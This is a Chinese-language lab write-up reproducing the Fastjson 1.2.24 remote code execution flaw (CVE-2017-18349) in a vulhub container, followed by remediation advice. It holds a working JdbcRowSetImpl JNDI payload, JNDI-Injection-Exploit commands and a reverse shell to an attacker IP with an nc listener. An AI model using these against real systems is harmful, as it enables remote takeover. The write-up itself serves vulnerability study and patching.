fastjson-CNVD-2017-02833漏洞复现
字数 1604 2025-08-10 17:51:54

Fastjson 1.2.24 远程代码执行漏洞(CVE-2017-18349)复现与分析

1. Fastjson简介

Fastjson是阿里巴巴开源的一个高性能Java JSON处理库,主要功能包括:

  • 序列化:将Java对象转换为JSON字符串
  • 反序列化:将JSON字符串转换为Java对象

主要特点

  • 高性能:通过优化技术在序列化和反序列化过程中表现优异
  • 功能丰富:支持日期、枚举、泛型、嵌套对象等复杂数据类型
  • 简单易用:提供简洁的API,少量代码即可完成转换
  • 兼容性强:与Spring、Hibernate、MyBatis等主流框架无缝集成

2. 漏洞概述

2.1 漏洞信息

  • 漏洞编号:CNVD-2017-02833 / CVE-2017-18349
  • 影响版本:Fastjson 1.2.24及之前版本
  • 漏洞类型:远程代码执行(RCE)
  • 危险等级:高危

2.2 漏洞原理

Fastjson在反序列化时允许通过@type键指定任意反序列化类名,默认会调用该对象的setter/getter方法。攻击者可利用com.sun.rowset.JdbcRowSetImpl类,在其setAutoCommit方法中会对成员变量dataSourceName进行JNDI lookup,从而导致JNDI注入。

2.3 利用条件

  1. 目标系统使用Fastjson 1.2.24或更早版本
  2. 开启了autotype功能(默认开启)
  3. JDK版本在1.7或1.8(特定版本)

3. 漏洞复现

3.1 环境搭建

所需工具

  • Kali Linux 2023
  • Fastjson 1.2.24-rce环境
  • JNDI-Injection-Exploit工具(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)
  • JDK 1.8.0_301
  • FastjsonScan扫描工具

环境搭建步骤

# 使用vulhub快速搭建测试环境
cd /home/kali/vulhub/fastjson/1.2.24-rce/
sudo docker-compose up -d

3.2 漏洞检测

方法一:延时检测
构造特定JSON请求,观察响应时间判断是否存在漏洞

方法二:报错检测
构造不完整JSON请求,如:

{"@type": "java.lang.AutoCloseable" ["test":1]}

观察返回的报错信息

方法三:使用FastjsonScan工具

FastjsonScan.exe [目标URL]

3.3 漏洞验证

步骤1:构造恶意请求

{
  "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://127.0.0.1:1099/exploit",
    "autoCommit":true
  }
}

步骤2:启动JNDI服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/test" -A "攻击者IP"

步骤3:验证文件创建

sudo docker exec -it [容器ID] /bin/bash
cd /tmp
ls

3.4 反弹Shell

步骤1:准备反弹Shell命令

bash -i >& /dev/tcp/攻击者IP/端口 0>&1

步骤2:Base64编码命令
使用在线工具(如https://ares-x.com/tools/runtime-exec)对命令进行编码

步骤3:启动JNDI服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Base64编码后的命令}|{base64,-d}|{bash,-i}" -A "攻击者IP"

步骤4:在攻击机监听端口

nc -lvp 1234

步骤5:发送恶意请求
使用Burp Suite等工具发送构造好的JSON请求

4. 漏洞修复建议

  1. 升级Fastjson版本

    • 升级到1.2.68及以上版本(新增了safemode,彻底关闭autotype)
    • 最少升级到1.2.48以上版本并关闭autotype选项
  2. WAF防护

    • 拦截过滤请求包中的@type及其各种编码形式:
      • %u0040%u0074%u0079%u0070%u0065
      • \u0040type
      • \x04type
  3. 升级JDK版本

    • 升级到以下版本或更高:
      • 8u191
      • 7u201
      • 6u211
      • 11.0.1
  4. 其他措施

    • 在反序列化时使用白名单机制
    • 关闭不必要的JSON反序列化功能

5. 参考资料

  1. [Web漏洞] Java反序列化漏洞 - 知乎
  2. Vulhub - Docker-Compose file for vulnerability environment
  3. Fastjson官方GitHub仓库和安全公告

6. 注意事项

  1. 漏洞复现应在授权环境下进行
  2. 实际环境中Fastjson版本判断可能较为困难,需要结合多种方法
  3. 不同JDK版本对JNDI注入的防护不同,影响漏洞利用成功率
  4. 生产环境应立即采取修复措施,避免被攻击者利用
Fastjson 1.2.24 远程代码执行漏洞(CVE-2017-18349)复现与分析 1. Fastjson简介 Fastjson是阿里巴巴开源的一个高性能Java JSON处理库,主要功能包括: 序列化 :将Java对象转换为JSON字符串 反序列化 :将JSON字符串转换为Java对象 主要特点 : 高性能:通过优化技术在序列化和反序列化过程中表现优异 功能丰富:支持日期、枚举、泛型、嵌套对象等复杂数据类型 简单易用:提供简洁的API,少量代码即可完成转换 兼容性强:与Spring、Hibernate、MyBatis等主流框架无缝集成 2. 漏洞概述 2.1 漏洞信息 漏洞编号 :CNVD-2017-02833 / CVE-2017-18349 影响版本 :Fastjson 1.2.24及之前版本 漏洞类型 :远程代码执行(RCE) 危险等级 :高危 2.2 漏洞原理 Fastjson在反序列化时允许通过 @type 键指定任意反序列化类名,默认会调用该对象的setter/getter方法。攻击者可利用 com.sun.rowset.JdbcRowSetImpl 类,在其 setAutoCommit 方法中会对成员变量 dataSourceName 进行JNDI lookup,从而导致JNDI注入。 2.3 利用条件 目标系统使用Fastjson 1.2.24或更早版本 开启了autotype功能(默认开启) JDK版本在1.7或1.8(特定版本) 3. 漏洞复现 3.1 环境搭建 所需工具 : Kali Linux 2023 Fastjson 1.2.24-rce环境 JNDI-Injection-Exploit工具(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar) JDK 1.8.0_ 301 FastjsonScan扫描工具 环境搭建步骤 : 3.2 漏洞检测 方法一:延时检测 构造特定JSON请求,观察响应时间判断是否存在漏洞 方法二:报错检测 构造不完整JSON请求,如: 观察返回的报错信息 方法三:使用FastjsonScan工具 3.3 漏洞验证 步骤1:构造恶意请求 步骤2:启动JNDI服务 步骤3:验证文件创建 3.4 反弹Shell 步骤1:准备反弹Shell命令 步骤2:Base64编码命令 使用在线工具(如https://ares-x.com/tools/runtime-exec)对命令进行编码 步骤3:启动JNDI服务 步骤4:在攻击机监听端口 步骤5:发送恶意请求 使用Burp Suite等工具发送构造好的JSON请求 4. 漏洞修复建议 升级Fastjson版本 升级到1.2.68及以上版本(新增了safemode,彻底关闭autotype) 最少升级到1.2.48以上版本并关闭autotype选项 WAF防护 拦截过滤请求包中的 @type 及其各种编码形式: %u0040%u0074%u0079%u0070%u0065 \u0040type \x04type 升级JDK版本 升级到以下版本或更高: 8u191 7u201 6u211 11.0.1 其他措施 在反序列化时使用白名单机制 关闭不必要的JSON反序列化功能 5. 参考资料 [ Web漏洞 ] Java反序列化漏洞 - 知乎 Vulhub - Docker-Compose file for vulnerability environment Fastjson官方GitHub仓库和安全公告 6. 注意事项 漏洞复现应在授权环境下进行 实际环境中Fastjson版本判断可能较为困难,需要结合多种方法 不同JDK版本对JNDI注入的防护不同,影响漏洞利用成功率 生产环境应立即采取修复措施,避免被攻击者利用